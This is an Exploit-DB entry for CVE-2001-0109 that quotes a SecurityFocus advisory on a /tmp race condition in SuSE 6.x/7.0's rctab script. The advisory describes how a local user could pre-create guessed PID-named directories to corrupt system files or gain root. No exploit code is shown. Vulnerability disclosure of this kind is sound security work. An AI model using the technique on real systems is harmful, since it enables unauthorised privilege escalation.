标题: SuSE 6.x/7.0 - MkDir Error Handling rctab Race Condition (2) EDB-ID: 20555 CVE: 2001-0109 类型: LOCAL 平台: LINUX 发布日期: 2001-01-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/2207/info
 
rctab is the Run Control Tab script included with the SuSE distribution of the Linux Operating System. SuSE is a freely available, Open Source Operating system maintained by SuSE Incorporated.
 
A race condition in the rctab script could allow an attacker to either gain elevated privileges, or append to and corrupt system files. This problem exists due to the insecure creation of files in the /tmp directory by the rctab script. Upon execution of the rctab script, rctab creates a subdirectory in the /tmp directory, using directory name rctmpdir.[pid of rctab process]. The script, which is normally run by root, does not check for an already existing rctmpdir.[pid of rctab process] directory. Additionally, the use of the -p flag with mkdir does not generate an error when the directory already exists, allowing the script to continue executing.
 
This problem makes it possible for a malicious user to guess the future process id of the rctab process, and create a range of directories that either will overwrite system files, or append to other system files and potentially allow elevation of privileges.
